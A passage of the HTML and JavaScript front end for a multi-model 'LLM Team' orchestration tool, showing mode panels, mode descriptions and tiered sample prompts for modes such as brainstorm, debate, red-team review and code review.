.panel { padding: 12px; }
.panel h2 { font-size: 9px; margin-bottom: 10px; }
.config-row { font-size: 11px; }
.config-row label { width: 70px; }
.mode-desc { font-size: 10px; padding: 6px 10px; }
.empty-state { padding: 40px 16px; }
.empty-state .icon { font-size: 24px; }
.history-panel { width: 100%; }
.repipe-modal { width: 95vw; }
}
</style>
</head>
<body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="vignette"></div>
<div class="container">
<header>
<h1><span>LLM</span> Team</h1>
<div class="badge" id="model-count"><span class="dot"></span>0 models</div>
<nav style="margin-left:auto;display:flex;align-items:center;gap:4px">
<button class="new-prompt-btn" onclick="openComposer()">New Prompt</button>
<a href="/history" style="color:var(--text2);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">History</a>
<a href="/lab" style="color:var(--green);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid rgba(74,222,128,0.2);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Lab</a>
<a href="/admin" style="color:var(--text2);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Admin</a>
<span style="width:2px;height:16px;background:var(--border);margin:0 4px"></span>
<button id="demo-toggle" onclick="toggleDemo()" style="display:none;color:var(--orange);background:none;font-size:9px;padding:4px 8px;border:2px solid rgba(245,158,11,0.3);border-radius:2px;cursor:pointer;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Demo</button>
<a href="/logout" style="color:var(--text2);text-decoration:none;font-size:9px;padding:4px 8px;opacity:0.4;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Logout</a>
</nav>
</header>
<button class="composer-close" onclick="closeComposer()" title="Close">&times;</button>
<div class="grid">
<div class="left-scroll">
<div class="m-toggle" onclick="this.classList.toggle('open');document.getElementById('mode-collapse').classList.toggle('open')" id="mode-toggle">Mode: <span id="mode-label">Brainstorm</span></div>
<div class="m-collapse" id="mode-collapse">
<div class="panel">
<h2>Mode</h2>
<div class="mode-grid">
<div class="mode-tab active" data-mode="brainstorm" onclick="setMode('brainstorm')">Brainstorm<small>All + synthesize</small></div>
<div class="mode-tab" data-mode="pipeline" onclick="setMode('pipeline')">Pipeline<small>Chain sequence</small></div>
<div class="mode-tab" data-mode="debate" onclick="setMode('debate')">Debate<small>Argue + judge</small></div>
<div class="mode-tab" data-mode="validator" onclick="setMode('validator')">Validator<small>Fact-check</small></div>
<div class="mode-tab" data-mode="roundrobin" onclick="setMode('roundrobin')">Round Robin<small>Iterate improve</small></div>
<div class="mode-tab" data-mode="redteam" onclick="setMode('redteam')">Red Team<small>Attack + defend</small></div>
<div class="mode-tab" data-mode="consensus" onclick="setMode('consensus')">Consensus<small>Converge</small></div>
<div class="mode-tab" data-mode="codereview" onclick="setMode('codereview')">Code Review<small>Write+review+test</small></div>
<div class="mode-tab" data-mode="ladder" onclick="setMode('ladder')">ELI Ladder<small>5 levels</small></div>
<div class="mode-tab" data-mode="tournament" onclick="setMode('tournament')">Tournament<small>Compete + vote</small></div>
<div class="mode-tab" data-mode="evolution" onclick="setMode('evolution')">Evolution<small>Genetic algo</small></div>
<div class="mode-tab" data-mode="blindassembly" onclick="setMode('blindassembly')">Blind Assembly<small>Split + merge</small></div>
<div class="mode-tab" data-mode="staircase" onclick="setMode('staircase')">Staircase<small>Add constraints</small></div>
<div class="mode-tab" data-mode="drift" onclick="setMode('drift')">Drift Detect<small>Confidence map</small></div>
<div class="mode-tab" data-mode="mesh" onclick="setMode('mesh')">Perspective<small>Stakeholder 360</small></div>
<div class="mode-tab" data-mode="hallucination" onclick="setMode('hallucination')">Hallucinate?<small>Claim verify</small></div>
<div class="mode-tab crazy" data-mode="timeloop" onclick="setMode('timeloop')">Time Loop<small>Catastrophe fix!</small></div>
</div>
<div style="font-size:8px;text-transform:uppercase;letter-spacing:3px;color:var(--accent);margin:-8px 0 8px;opacity:0.5;font-family:'JetBrains Mono',monospace;font-weight:600">Autonomous Pipelines</div>
<div class="mode-grid" style="grid-template-columns:repeat(3,1fr);margin-bottom:16px">
<div class="mode-tab" data-mode="research" onclick="setMode('research')" style="border-color:var(--green);border-width:1px">Research<small>Auto brief</small></div>
<div class="mode-tab" data-mode="eval" onclick="setMode('eval')" style="border-color:var(--orange);border-width:1px">Model Eval<small>Benchmark</small></div>
<div class="mode-tab" data-mode="refine" onclick="setMode('refine')" style="border-color:var(--accent);border-width:1px">Auto-Refine<small>AI pipeline</small></div>
<div class="mode-tab" data-mode="extract" onclick="setMode('extract')" style="border-color:var(--blue);border-width:1px">Knowledge<small>Extract facts</small></div>
</div>
<div class="mode-desc" id="mode-desc">All models answer in parallel, then one synthesizes the best parts into a final answer.</div>
<!-- BRAINSTORM -->
<div id="config-brainstorm" class="config-section">
<h2>Models</h2>
<div class="model-list" id="ml-brainstorm"></div>
<div class="config-row"><label>Synthesizer</label><select id="synthesizer"></select></div>
</div>
<!-- PIPELINE -->
<div id="config-pipeline" class="config-section" style="display:none">
<h2>Pipeline Steps</h2>
<div id="pipeline-steps"></div>
<button class="add-step-btn" onclick="addPipelineStep()">+ Add Step</button>
</div>
<!-- DEBATE -->
<div id="config-debate" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Debater 1</label><select id="debater1"></select></div>
<div class="config-row"><label>Debater 2</label><select id="debater2"></select></div>
<div class="config-row"><label>Judge</label><select id="debate-judge"></select></div>
<div class="config-row"><label>Rounds</label><input type="number" id="debate-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
</div>
<!-- VALIDATOR -->
<div id="config-validator" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Answerer</label><select id="validator-answerer"></select></div>
<h2 style="margin-top:12px">Validators</h2>
<div class="model-list" id="ml-validator"></div>
</div>
<!-- ROUND ROBIN -->
<div id="config-roundrobin" class="config-section" style="display:none">
<h2>Models</h2>
<div class="model-list" id="ml-roundrobin"></div>
<div class="config-row"><label>Cycles</label><input type="number" id="roundrobin-cycles" value="2" min="1" max="5" style="width:60px;flex:none"></div>
</div>
<!-- RED TEAM -->
<div id="config-redteam" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Author</label><select id="redteam-author"></select></div>
<div class="config-row"><label>Attacker</label><select id="redteam-attacker"></select></div>
<div class="config-row"><label>Patcher</label><select id="redteam-patcher"></select></div>
<div class="config-row"><label>Rounds</label><input type="number" id="redteam-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
</div>
<!-- CONSENSUS -->
<div id="config-consensus" class="config-section" style="display:none">
<h2>Models</h2>
<div class="model-list" id="ml-consensus"></div>
<div class="config-row"><label>Max Rounds</label><input type="number" id="consensus-rounds" value="3" min="1" max="5" style="width:60px;flex:none"></div>
</div>
<!-- CODE REVIEW -->
<div id="config-codereview" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Coder</label><select id="codereview-coder"></select></div>
<div class="config-row"><label>Reviewer</label><select id="codereview-reviewer"></select></div>
<div class="config-row"><label>Tester</label><select id="codereview-tester"></select></div>
</div>
<!-- LADDER -->
<div id="config-ladder" class="config-section" style="display:none">
<h2>Models (rotated across 5 levels)</h2>
<div class="model-list" id="ml-ladder"></div>
</div>
<!-- TOURNAMENT -->
<div id="config-tournament" class="config-section" style="display:none">
<h2>Competitors</h2>
<div class="model-list" id="ml-tournament"></div>
<div class="config-row"><label>Judge</label><select id="tournament-judge"></select></div>
</div>
<!-- EVOLUTION -->
<div id="config-evolution" class="config-section" style="display:none">
<h2>Gene Pool (models)</h2>
<div class="model-list" id="ml-evolution"></div>
<div class="config-row"><label>Generations</label><input type="number" id="evolution-gens" value="3" min="1" max="5" style="width:60px;flex:none"></div>
<div class="config-row"><label>Fitness Judge</label><select id="evolution-judge"></select></div>
</div>
<!-- BLIND ASSEMBLY -->
<div id="config-blindassembly" class="config-section" style="display:none">
<h2>Workers (each gets a sub-task)</h2>
<div class="model-list" id="ml-blindassembly"></div>
<div class="config-row"><label>Assembler</label><select id="blind-assembler"></select></div>
</div>
<!-- STAIRCASE -->
<div id="config-staircase" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Answerer</label><select id="staircase-answerer"></select></div>
<div class="config-row"><label>Challenger</label><select id="staircase-challenger"></select></div>
<div class="config-row"><label>Steps</label><input type="number" id="staircase-steps" value="4" min="2" max="8" style="width:60px;flex:none"></div>
</div>
<!-- DRIFT -->
<div id="config-drift" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Target Model</label><select id="drift-target"></select></div>
<div class="config-row"><label>Samples</label><input type="number" id="drift-samples" value="5" min="3" max="10" style="width:60px;flex:none"></div>
<div class="config-row"><label>Analyzer</label><select id="drift-analyzer"></select></div>
</div>
<!-- MESH -->
<div id="config-mesh" class="config-section" style="display:none">
<h2>Models (rotated across perspectives)</h2>
<div class="model-list" id="ml-mesh"></div>
<div class="config-row"><label>Synthesizer</label><select id="mesh-synthesizer"></select></div>
</div>
<!-- HALLUCINATION -->
<div id="config-hallucination" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Answerer</label><select id="halluc-answerer"></select></div>
<h2 style="margin-top:12px">Hunters</h2>
<div class="model-list" id="ml-hallucination"></div>
</div>
<!-- TIME LOOP -->
<div id="config-timeloop" class="config-section" style="display:none">
<h2>Setup</h2>
<div class="config-row"><label>Answerer</label><select id="timeloop-answerer"></select></div>
<div class="config-row"><label>Chaos Agent</label><select id="timeloop-chaos"></select></div>
<div class="config-row"><label>Loops</label><input type="number" id="timeloop-loops" value="4" min="2" max="8" style="width:60px;flex:none"></div>
</div>
<!-- RESEARCH PIPELINE -->
<div id="config-research" class="config-section" style="display:none">
<h2>Research Pipeline</h2>
<div class="config-row"><label>Scout</label><select id="research-scout"></select></div>
<div class="config-row"><label>Researchers</label></div>
<div class="model-list" id="ml-research"></div>
<div class="config-row"><label>Fact-checker</label><select id="research-checker"></select></div>
<div class="config-row"><label>Synthesizer</label><select id="research-synth"></select></div>
<div class="config-row"><label>Questions</label><input type="number" id="research-questions" value="5" min="3" max="15" style="width:60px;flex:none"></div>
</div>
<!-- MODEL EVAL PIPELINE -->
<div id="config-eval" class="config-section" style="display:none">
<h2>Model Evaluation</h2>
<div class="model-list" id="ml-eval"></div>
<div class="config-row"><label>Judge</label><select id="eval-judge"></select></div>
<div class="config-row"><label>Eval Type</label><select id="eval-type">
<option value="general">General Knowledge</option>
<option value="reasoning">Reasoning</option>
<option value="coding">Coding</option>
<option value="creative">Creative Writing</option>
<option value="instruction">Instruction Following</option>
</select></div>
<div class="config-row"><label>Rounds</label><input type="number" id="eval-rounds" value="3" min="1" max="10" style="width:60px;flex:none"></div>
</div>
<!-- KNOWLEDGE EXTRACTION -->
<div id="config-extract" class="config-section" style="display:none">
<h2>Knowledge Extraction</h2>
<div class="config-row"><label>Extractor</label><select id="extract-model"></select></div>
<div class="config-row"><label>Verifier</label><select id="extract-verifier"></select></div>
<div class="config-row"><label>Source</label><select id="extract-source">
<option value="prompt">From Prompt Text</option>
<option value="ontology">ONTOLOGY.md</option>
<option value="index">INDEX.md</option>
<option value="summaries">SUMMARIES.md</option>
<option value="guides">GUIDES.md</option>
</select></div>
</div>
<!-- AUTO-REFINE -->
<div id="config-refine" class="config-section" style="display:none">
<h2>Auto-Refine Pipeline</h2>
<div class="config-row"><label>Orchestrator</label><select id="refine-orchestrator"></select></div>
<div class="model-list" id="ml-refine"></div>
<div class="config-row"><label>Max Stages</label><input type="number" id="refine-stages" value="4" min="2" max="6" style="width:60px;flex:none"></div>
<div style="font-size:10px;color:var(--text2);margin-top:6px;line-height:1.5;font-family:'JetBrains Mono',monospace">AI analyzes your content, picks the best refinement stages, and runs them in sequence. Paste a finished draft above.</div>
</div>
</div>
</div><!-- end m-collapse -->
<div class="panel">
<h2>Prompt</h2>
<textarea class="prompt-area" id="prompt" placeholder="What should your team work on?"></textarea>
<div class="sample-prompts" id="sample-prompts"></div>
<button class="run-btn" id="run-btn" onclick="runTeam()">Run Team</button>
</div>
</div>
<div class="panel">
<h2>Output</h2>
<div class="output-area" id="output">
<div class="empty-state"><div class="icon">&#9670; &#9670; &#9670;</div><p>Select a <strong>mode</strong>, pick your <strong>models</strong>, and enter a prompt to run the team.</p></div>
</div>
</div>
</div>
</div>
<script>
// ─── COMPOSER MODE ───────────────────────────────
function openComposer() {
document.querySelector('.container').classList.remove('output-focused');
document.querySelector('.container').classList.add('composer-active');
document.getElementById('prompt').focus();
}
function closeComposer() {
document.querySelector('.container').classList.remove('composer-active');
// If there's output, go to output-focused mode
if (document.querySelectorAll('.output-card').length > 0) {
document.querySelector('.container').classList.add('output-focused');
}
}
// Start in composer mode on load
document.addEventListener('DOMContentLoaded', function() {
document.querySelector('.container').classList.add('composer-active');
});
const COLORS = ['#6366f1','#22c55e','#f59e0b','#3b82f6','#ef4444','#ec4899','#14b8a6','#f97316'];
let availableModels = [];
let currentMode = 'brainstorm';
const modelSets = {};
const ML_IDS = ['ml-brainstorm','ml-validator','ml-roundrobin','ml-consensus','ml-ladder','ml-tournament','ml-evolution','ml-blindassembly','ml-mesh','ml-hallucination','ml-research','ml-eval','ml-refine'];
const MODE_DESCS = {
brainstorm: 'All models answer in parallel, then one synthesizes the best parts.',
pipeline: 'Chain models in sequence with custom instructions. Each builds on previous output.',
debate: 'Two models debate over rounds, a judge picks the stronger position.',
validator: 'One answers, multiple validators fact-check and score 1-10.',
roundrobin: 'Models take turns improving the answer over multiple cycles.',
redteam: 'Author writes, attacker finds flaws, patcher fixes. Repeats N rounds.',
consensus: 'All answer independently, then iterate seeing each other until they converge.',
codereview: 'Coder writes code, reviewer critiques, tester writes unit tests.',
ladder: 'Same question at 5 levels: 5yo, teenager, college, professional, PhD.',
tournament: 'All compete, judge ranks and refines the winner.',
evolution: 'Genetic algorithm! Models generate variations, fitness judge scores, best answers breed and mutate across generations.',
blindassembly: 'Question split into sub-parts. Each model answers ONLY their piece blind. An assembler stitches fragments into a coherent whole.',
staircase: "Devil's Staircase: answer the question, then each round a challenger adds a new constraint. Answerer must adapt to ALL accumulated constraints.",
drift: 'Same prompt sent to same model N times. Analyzer maps what is consistent (confident) vs. what varies (uncertain/hallucinated).',
mesh: 'Each model answers as a different stakeholder (CEO, engineer, user, regulator, competitor). One weaves a 360-degree view.',
hallucination: 'One answers, then hunters independently verify EACH factual claim. Cross-references to flag likely hallucinations.',
timeloop: 'CHAOS MODE: Model answers, then a Chaos Agent says "your answer caused a catastrophe!" and describes what went wrong. Answerer must fix it. But each fix causes a NEW catastrophe. Loop until bulletproof!',
research: 'AUTONOMOUS: Scout generates research questions, multiple models research in parallel, fact-checker verifies, synthesizer produces a structured brief. Full pipeline saved to DB.',
eval: 'AUTONOMOUS: Same prompts sent to all selected models. Judge scores each on accuracy, reasoning, clarity. Produces a ranked leaderboard across multiple rounds.',
extract: 'AUTONOMOUS: Extracts structured facts, entities, and relationships from text or local docs. Verifier cross-checks claims. Output saved as queryable JSON.',
refine: 'AUTONOMOUS: AI analyzes your content, selects the best refinement stages (critique, expand, structure, validate, etc.), and runs them in the optimal order. Turns a good draft into a polished final version.'
};
const SAMPLE_PROMPTS = {
brainstorm: { basic: [
'What are practical ways a small town could become energy independent within 10 years?',
'How could a public library reinvent itself to stay relevant for the next 20 years?',
'What are five creative ways to reduce food waste in a college dining hall?',
'How can a neighborhood reduce package theft without cameras or confrontation?',
'What are unconventional ways to make a long commute productive and enjoyable?'
], mid: [
'Design a mentorship program that pairs retired professionals with first-generation college students — cover matching criteria, structure, and how to measure success.',
'A mid-size company is losing talent to remote-first competitors. Propose creative retention strategies beyond just salary increases.',
'How could a city redesign its public spaces to be equally useful in a heat wave and a blizzard?',
'Propose a system for a restaurant chain to reduce food waste by 50% while increasing customer satisfaction.',
'Design a community program that helps elderly residents adopt smart home technology without frustration or privacy concerns.'
], advanced: [
'A hospital wants to reduce ER wait times by 40% without hiring more staff. Propose a comprehensive strategy covering triage redesign, technology, patient flow, and communication.',
'Design a universal basic services program for a city of 500K. Cover housing, transit, internet, and food — with funding model, phasing, and political feasibility.',
'A developing nation wants to leapfrog traditional banking infrastructure. Design a complete financial inclusion strategy covering mobile money, identity, credit scoring, and regulation.',
'Propose a system to coordinate disaster relief across 15 NGOs with overlapping mandates, different data systems, and competing donor priorities.',
'Design an education system from scratch for a Mars colony of 10,000 people — consider demographics, resource constraints, knowledge preservation, and the 20-minute communication delay with Earth.'
]},
pipeline: { basic: [
'Write a short fable about a fox who learns patience, then translate it to Spanish, then analyze the cultural differences in how the moral lands.',
'Describe the water cycle for a 5th grader, then rewrite it as a poem, then turn the poem into a lesson plan with quiz questions.',
'Explain how a car engine works, then simplify it for a 10-year-old, then create a quiz to test understanding.',
'Write a product description for noise-canceling headphones, then rewrite it as a tweet, then as a haiku.',
'Summarize World War I in 3 paragraphs, then extract the 5 key turning points, then write a "what if" scenario for the most impactful one.'
], mid: [
'Take the concept of "digital minimalism" — first define it clearly, then argue for it, then argue against it, then write a balanced guide.',
'Take this business idea — "AI-powered meal planning for food allergies" — do market analysis, then pitch deck outline, then cold email to investors.',
'Write a technical blog post about WebSockets, then create a code tutorial, then write a FAQ for common issues.',
'Analyze the pros and cons of remote work, then draft a company policy, then write the all-hands announcement email.',
'Research the gig economy, identify the top 3 problems workers face, propose solutions, then draft legislation addressing them.'
], advanced: [
'Research the history of cryptography, identify 3 pivotal breakthroughs, explain how each would change a historical conflict, then write an alternate-history scenario.',
'Analyze a failing SaaS business. Diagnose the top 3 problems from the metrics, propose fixes, model the financial impact, then write the board presentation.',
'Take a complex legal case — "should AI-generated art be copyrightable?" — research precedents, argue both sides, draft a proposed legal framework, then write the dissenting opinion.',
'Analyze climate change data for a specific region, model economic impacts on agriculture, propose adaptation strategies, then write policy recommendations for local government.',
'Study the decline of a specific industry, extract patterns, apply them to predict which current industries are vulnerable, then write an investment thesis.'
]},
debate: { basic: [
'Should cities ban cars from downtown areas?',
'Is remote work better for productivity than in-office work?',
'Should tipping be abolished and replaced with higher wages?',
'Are zoos ethical in the modern era?',
'Should voting be mandatory?'
], mid: [
'Should social media platforms be liable for content their algorithms promote?',
'Is it more ethical for AI companies to open-source their models or keep them proprietary?',
'Should universities eliminate legacy admissions?',
'Is nuclear energy the most practical path to decarbonization, or are renewables sufficient?',
'Should there be a maximum wage, like there is a minimum wage?'
], advanced: [
'A nation discovers asteroid mining but it costs their entire science budget for 5 years. Should they go?',
'Should we grant legal personhood to sufficiently advanced AI systems? Consider rights, liability, and precedent.',
'Is it ethical to use CRISPR to eliminate genetic diseases if it inevitably leads to designer babies for the wealthy?',
'Should democratic nations restrict trade with authoritarian regimes even when it harms their own economies and citizens?',
'A city can save 200 lives/year with AI surveillance but at the cost of constant monitoring of all public spaces. Should they deploy it?'
]},
validator: { basic: [
'The Great Wall of China is the only man-made structure visible from space.',
'Humans swallow an average of 8 spiders per year in their sleep.',
'We only use 10% of our brains.',
'Lightning never strikes the same place twice.',
'Goldfish have a 3-second memory.'
], mid: [
'Exposure to cold weather causes colds, and sugar causes hyperactivity in children.',
'Napoleon was unusually short. Vikings wore horned helmets. Einstein failed math in school.',
'The tongue has distinct taste zones — sweet at the tip, bitter at the back, sour on the sides.',
'Organic food is always healthier and more nutritious than conventional food, and GMOs are dangerous to human health.',
'Dropping a penny from the Empire State Building could kill someone, and hair and nails keep growing after death.'
], advanced: [
'The 2008 financial crisis was primarily caused by the Community Reinvestment Act. Glass-Steagall repeal had minimal impact.',
'The Stanford Prison Experiment proved that ordinary people become cruel when given authority. The Milgram experiment proved people blindly follow orders.',
'Thomas Edison invented the lightbulb, Alexander Graham Bell invented the telephone, and Henry Ford invented the automobile.',
'The human body completely replaces all its cells every 7 years. Antibiotics can treat the common cold. Detox diets remove toxins from your body.',
'Columbus proved the Earth was round, the Dark Ages were a period of no scientific progress, and the Great Fire of London ended the plague.'
]},
roundrobin: { basic: [
'Write an opening paragraph for a mystery novel set in a lighthouse.',
'Write a company mission statement for a sustainable fashion brand.',
'Write a one-page resume summary for a career-changing software engineer.',
'Draft a welcome email for new subscribers to a cooking newsletter.',
'Write the About page for a small architecture firm.'
], mid: [
'Draft a product requirements document for a chore-splitting app. Each iteration deepens a different section.',
'Write a cover letter for a career-changer moving from teaching to product management.',
'Draft a content strategy for a B2B startup blog. Each pass should improve a different element — topics, tone, SEO, calls to action.',
'Write a project proposal for migrating a monolith to microservices. Each round addresses a new concern.',
'Create a training curriculum for onboarding junior developers. Each iteration adds practical exercises and assessment criteria.'
], advanced: [
'Create a comprehensive disaster recovery plan for a mid-size SaaS company. Cover backup, failover, comms, compliance, and testing.',
'Draft a technical architecture document for a real-time collaboration tool like Google Docs. Each round should stress-test a different aspect.',
'Write a regulatory compliance plan for a fintech startup handling payments across US, EU, and UK. Each round deepens a jurisdiction.',
'Create a go-to-market strategy for an enterprise AI product. Each iteration should refine positioning, pricing, channel strategy, and competitive response.',
'Draft an incident response playbook for a healthcare SaaS company. Each round adds depth to a different scenario — data breach, downtime, ransomware, insider threat.'
]},
redteam: { basic: [
'Our password policy: minimum 8 characters, must include a number. Find weaknesses.',
'Our API authenticates users with a token in the URL query string. We log all URLs. What could go wrong?',
'We store user passwords in a database column called "password" using MD5 hashing. Evaluate security.',
'Our web app uses client-side JavaScript to check if a user is an admin before showing the admin panel.',
'We send password reset links that never expire and include the user ID in plain text.'
], mid: [
'Our startup stores health data in Firebase with client-side security rules. The app sends JWTs from the client.',
'We built a bank chatbot that lets customers check balances and transfer money via natural language using customer names.',
'Our SaaS allows users to upload profile pictures. We store them in a public S3 bucket and serve them via CloudFront. File names are sequential.',
'Our internal tool uses a shared admin password stored in a .env file. All developers have access. It has never been rotated.',
'We use a third-party JavaScript widget for payment processing that loads from their CDN. We also allow custom CSS injection for white-labeling.'
], advanced: [
'We are building an AI hiring tool trained on 5 years of successful hires. It parses social media for culture fit and auto-rejects below score 60.',
'Our healthcare platform uses AI to triage patient symptoms and recommend specialists. It stores conversations for model improvement. Red team for HIPAA, bias, and adversarial inputs.',
'We built an AI content moderation system for a social platform. It auto-removes flagged content and temporarily bans repeat offenders. Find every way this can be weaponized.',
'Our autonomous vehicle fleet shares real-time location data with a central server over cellular. Emergency stop commands are sent over the same channel. Red team the entire stack.',
'We are deploying an AI-powered loan approval system that uses alternative data (social media, browsing history, app usage) alongside traditional credit scores. Red team for discrimination, gaming, and regulatory exposure.'
]},
consensus: { basic: [
'What is the single most important skill for a new software developer to learn first?',
'What is the best way to structure a 1-on-1 meeting between a manager and a direct report?',
'What is the most effective way to learn a new programming language?',
'What makes a good code review?',
'What is the best format for a daily standup meeting?'
], mid: [
'A company has $500K for employee development. Training budgets, mentorship, conferences, or learning platform?',
'Should a startup prioritize speed to market or code quality in year one?',
'What is the optimal team size for a software project and why?',
'Should companies require return-to-office or stay fully remote? Find the convergence point.',
'What is the best way to handle technical debt — dedicated sprints, boy scout rule, rewrite, or accept it?'
], advanced: [
'How should a democratic society balance free speech with protection from misinformation?',
'What is the right level of AI regulation — per-use-case rules, broad principles, industry self-regulation, or international treaty?',
'How should society distribute the economic gains from AI automation? UBI, retraining, profit sharing, or something else?',
'What is the most ethical framework for allocating scarce medical resources during a pandemic, balancing lives saved, equity, and economic impact?',
'How should humanity govern access to space resources — first-come-first-served, international commons, proportional to need, or auction-based?'
]},
codereview: { basic: [
'Write a Python function that finds all anagrams in a list of words.',
'Write a JavaScript function that debounces API calls with cancel and retry.',
'Write a Python function to flatten a deeply nested dictionary into dot-notation keys.',
'Write a function that validates an email address without using regex.',
'Write a SQL query to find customers who made purchases in every month of the last year.'
], mid: [
'Build a rate limiter middleware for Express.js with per-user limits and sliding windows.',
'Write a Rust function that parses CSV into typed structs with error handling for malformed rows.',
'Implement a pub/sub event system in TypeScript with typed events, wildcard subscriptions, and memory leak prevention.',
'Write a Python decorator that retries failed functions with exponential backoff, jitter, and circuit-breaking.',
'Build a database migration system in Python that supports up/down migrations, dry runs, and rollback on failure.'
], advanced: [
'Implement a concurrent-safe LRU cache in Go with TTL, size eviction, metrics, and write-behind buffer.',
'Build a distributed rate limiter using Redis that handles clock skew, network partitions, and hot keys across 5 nodes.',
'Implement a CRDT-based collaborative text editor in TypeScript that handles concurrent edits without a central server.',
'Write a query planner for a simple SQL engine that supports SELECT, WHERE, JOIN, and ORDER BY with cost-based optimization.',
'Implement a B-tree in Rust with disk-backed persistence, page splitting, concurrent readers, and crash recovery via write-ahead logging.'
]},
ladder: { basic: [
'How does encryption work?',
'What causes inflation?',
'How does WiFi work?',
'What is a black hole?',
'How do vaccines work?'
], mid: [
'Why do economies go through boom and bust cycles?',
'How does the immune system fight a virus?',
'How does machine learning actually learn?',
'How does GPS know where you are?',
'How does a computer execute a program from source code to pixels on screen?'
], advanced: [
'How does CRISPR gene editing work, what are the ethics of germline editing, and what regulations exist globally?',
'How does quantum entanglement work, and why does it not allow faster-than-light communication despite appearing to?',
'How does a modern CPU predict and execute instructions out of order while maintaining correctness?',
'How do neural networks learn to generate human-like text, and what are the theoretical limits of this approach?',
'How does the global financial system actually settle transactions between banks in different countries with different currencies?'
]},
tournament: { basic: [
'Write the most compelling opening line for a sci-fi novel.',
'Explain quantum computing to a CEO in under 60 seconds.',
'Write the best one-sentence pitch for a dating app for book lovers.',
'Come up with the most creative name for a coffee shop in a tech district.',
'Write the most motivating first line of a commencement speech.'
], mid: [
'Propose the best strategy for a small e-commerce business to compete with Amazon on a specific product category.',
'Write the most effective error message for when a user tries to delete their account.',
'Design the best onboarding flow for a complex B2B SaaS product.',
'Propose the most creative monetization strategy for a free mobile app that refuses to show ads.',
'Write the best API documentation example for a payment processing endpoint.'
], advanced: [
'Design an algorithm to fairly allocate limited vaccine doses across 2 million people during a pandemic.',
'Propose the optimal governance structure for a decentralized autonomous organization managing a $500M treasury.',
'Design the most resilient distributed system architecture for a global real-time multiplayer game with 100M users.',
'Propose the best framework for evaluating whether an AI system should be considered sentient, including testable criteria.',
'Design an optimal resource allocation algorithm for a Mars colony of 1,000 people where supply ships arrive every 26 months.'
]},
evolution: { basic: [
'Generate a company name for a sustainable packaging startup.',
'Write a tweet that explains machine learning to non-technical people.',
'Create a tagline for a fitness app aimed at busy parents.',
'Write a subject line for a cold email that gets opened.',
'Generate a one-sentence value proposition for a cybersecurity startup.'
], mid: [
'Evolve the perfect elevator pitch for a crop failure prediction startup.',
'Evolve an ideal daily standup format for a remote team of 12 across 4 time zones.',
'Evolve the perfect landing page headline and subheadline for an AI writing assistant.',
'Evolve an optimal interview question that reveals both technical skill and collaboration style.',
'Evolve the ideal README structure for an open-source project to maximize contributor engagement.'
], advanced: [
'Evolve an optimal urban intersection design for pedestrians, cyclists, wheelchairs, emergency vehicles, and all seasons.',
'Evolve an algorithm for dynamically pricing concert tickets that maximizes revenue while maintaining perceived fairness.',
'Evolve an optimal microservices decomposition strategy for a monolithic e-commerce platform with 200 database tables.',
'Evolve a disaster communication protocol that works when cell towers, internet, and power are all down.',
'Evolve an optimal machine learning pipeline architecture that handles data drift, model degradation, and A/B testing in production.'
]},
blindassembly: { basic: [
'Explain how the internet works, with each model covering a different layer of the stack.',
'Write a short story — one does characters, one does setting, one does plot, one does dialogue.',
'Explain a complete meal recipe — one does ingredients, one does prep, one does cooking, one does plating.',
'Create a travel itinerary for Tokyo — one does food, one does culture, one does logistics, one does hidden gems.',
'Design a mobile app — one does UI, one does backend, one does data model, one does user flows.'
], mid: [
'Write a business plan for a coworking space — market analysis, financial model, operations, marketing. No model sees others.',
'Design an employee onboarding program — HR, team integration, tech setup, culture, 90-day milestones. Each blind.',
'Create a course curriculum on data science — one does syllabus, one does exercises, one does assessments, one does projects.',
'Design a wedding — one does venue and logistics, one does food and drinks, one does entertainment, one does invitations and decor.',
'Plan a product launch — one does PR, one does social media, one does email marketing, one does partnerships. No coordination.'
], advanced: [
'Design a smart city emergency response system — sensor network, dispatch AI, citizen comms, hospital coordination, post-incident.',
'Design a space station life support system — atmosphere, water, food, waste, and emergency. Each model works on one system blind.',
'Build a comprehensive cybersecurity framework — network security, application security, human factors, incident response, compliance. Each blind.',
'Design a national healthcare system — primary care, specialist network, insurance model, digital infrastructure, public health. No coordination.',
'Design an autonomous supply chain — procurement AI, warehouse robotics, logistics routing, demand prediction, and exception handling. Each blind.'
]},
staircase: { basic: [
'Plan a birthday party. Then: budget $50. Then: guest has allergies. Then: it rains.',
'Write a marketing email. Add: under 100 words. Add: no jargon. Add: works as text message. Add: in Spanish.',
'Plan a team lunch. Add: 3 people are vegan. Add: budget is $15/person. Add: one person is remote.',
'Write a bedtime story. Add: must teach a math concept. Add: the hero must be non-human. Add: under 200 words.',
'Design a logo. Add: must work in black and white. Add: must be recognizable at 16px. Add: must work as a favicon.'
], mid: [
'Design a social media app. Add: offline-first. Add: no central server. Add: accessible to blind users. Add: GDPR+COPPA+CCPA.',
'Build a login system. Add: no passwords. Add: works without cameras. Add: no email required. Add: banking-grade security.',
'Design a restaurant menu. Add: must accommodate 8 common allergens. Add: 30% profit margin minimum. Add: must work for delivery. Add: max 20 items.',
'Plan a conference for 500 people. Add: zero waste. Add: fully accessible. Add: hybrid in-person/virtual. Add: budget cut by 30%.',
'Design an API. Add: must support offline clients. Add: backward compatible forever. Add: rate limited per user. Add: must work on 2G networks.'
], advanced: [
'Write a peace treaty. Add: one side has all water. Add: other has farmland. Add: third controls trade route. Add: election in 30 days. Add: climate disaster in 90 days.',
